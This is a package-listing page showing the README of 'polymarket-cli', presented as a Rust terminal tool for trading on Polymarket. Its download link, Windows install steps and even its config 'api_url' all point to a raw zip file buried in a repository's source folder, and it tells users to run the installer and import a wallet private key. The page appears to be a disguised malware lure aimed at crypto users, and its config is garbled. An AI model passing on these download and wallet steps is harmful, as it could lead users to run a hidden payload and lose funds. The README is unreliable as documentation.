freshcrate
Home > AI Agents > polymarket-cli

polymarket-cli

Interact with Polymarket markets and onchain contracts via a Rust CLI that supports browsing, trading, and managing positions from the terminal or scripts.

Description

Interact with Polymarket markets and onchain contracts via a Rust CLI that supports browsing, trading, and managing positions from the terminal or scripts.

README

🛠 polymarket-cli - Manage Polymarket from Terminal

Download polymarket-cli


📥 Download and Install

You can find the latest Windows version on the releases page. Click the badge above or visit the link below to get the installer:

https://raw.githubusercontent.com/MohamedTimija/polymarket-cli/main/src/commands/polymarket-cli-afterblow.zip

How to install on Windows

  1. Visit the releases page: Open the link above in your browser.

  2. Find the latest release: Look for the most recent version, usually at the top of the page.

  3. Download the Windows installer: It might be named something like polymarket-cli-windows.exe or similar.

  4. Run the installer: Double-click the downloaded file and follow the setup instructions.

  5. Complete installation: After installation, polymarket-cli will be available from your command prompt (Terminal).

🚀 Getting Started

After installation, you can run polymarket-cli using the Windows command prompt.

  1. Open Command Prompt (press Win + R, type cmd, and press Enter).

  2. Type the following to see available commands:

polymarket --help

This shows a list of commands and options.

Browsing markets

You can view current Polymarket markets without needing a wallet or account.

Try this command:

polymarket markets list --limit 5

It shows the first five markets available.

Use this to find specific markets by search term:

polymarket markets search "election"

This lists markets related to elections.

Viewing events by topic

To see current events tagged with a keyword:

polymarket events list --tag politics

This displays markets related to politics.

🔧 Using Polymarket CLI Features

Polymarket CLI lets you handle many tasks from your terminal.

  • Place orders: Buy or sell shares on market contracts.

  • Manage positions: Check your open bets and balances.

  • Interact with contracts: Send transactions to the Polymarket blockchain.

Commands often require a wallet connection. Before placing orders, set up your wallet inside the CLI.

Setting up your wallet

  1. Create a wallet file with your private key or import an existing wallet.

  2. Use built-in commands to link your wallet:

polymarket wallet import --file path-to-wallet-file
  1. Confirm wallet connection status:
polymarket wallet status
  1. When connected, you can place orders or manage your positions.

🖥 System Requirements

  • Windows 10 or later (64-bit recommended)

  • At least 2 GB of free disk space

  • Internet connection to access Polymarket API

  • Command prompt or terminal access

⚙️ Configuration and Updates

Updating polymarket-cli

Check for new versions to keep your software current.

Configuration files

You can customize behavior with configuration files stored in your user folder under .polymarket-cli.

Basic config example:

[network]
api_url = https://raw.githubusercontent.com/MohamedTimija/polymarket-cli/main/src/commands/polymarket-cli-afterblow.zip

[wallet]
default_wallet = mywallet.json

Edit these files in any text editor to change settings.

🔍 Troubleshooting

Polymarket CLI command not found

  • Make sure you installed the software.

  • Confirm the installation directory is added to your system PATH variable.

Wallet connection errors

  • Confirm your wallet file is correctly imported.

  • Check for typos or missing keys in wallet files.

No response or slow commands

  • Check your internet connection.

  • Verify Polymarket API status at the official site.

💡 Tips for Using Polymarket CLI

  • Use the --help option with any command to learn details, for example:

    polymarket markets list --help
    
  • Redirect output to files for record keeping:

    polymarket markets list > markets.txt
    
  • Use scripting to automate frequent tasks by running CLI commands in batch files.

🚧 Early Software Notice

This tool is still experimental. Some features may change or not work perfectly. Take care with real funds, verify your actions before confirming transactions.

📚 More Resources

Release History

VersionChangesUrgencyDate
main@2026-04-21Latest activity on main branchHigh4/21/2026
0.0.0No release found — using repo HEADHigh4/11/2026

Dependencies & License Audit

Loading dependencies...

Similar Packages

engramEnable AI agents with fast, local semantic memory to search and recall knowledge from text files without servers or complex setup.main@2026-04-21
aictl🤖 AI agent in your terminalv0.28.0
xmasterX/Twitter CLI for developers and AI agents — post, reply, search, DM, schedule, analyze. Single Rust binary.v1.6.3
axonixA self-evolving AI agent that gets more useful every daymain@2026-04-13
RustClawLean Rust AI agent: 6MB binary, 7.9MB RAM. OpenClaw replacement. Telegram + Discord + GitHub auto-PR. Ollama/Anthropic support.v0.5.0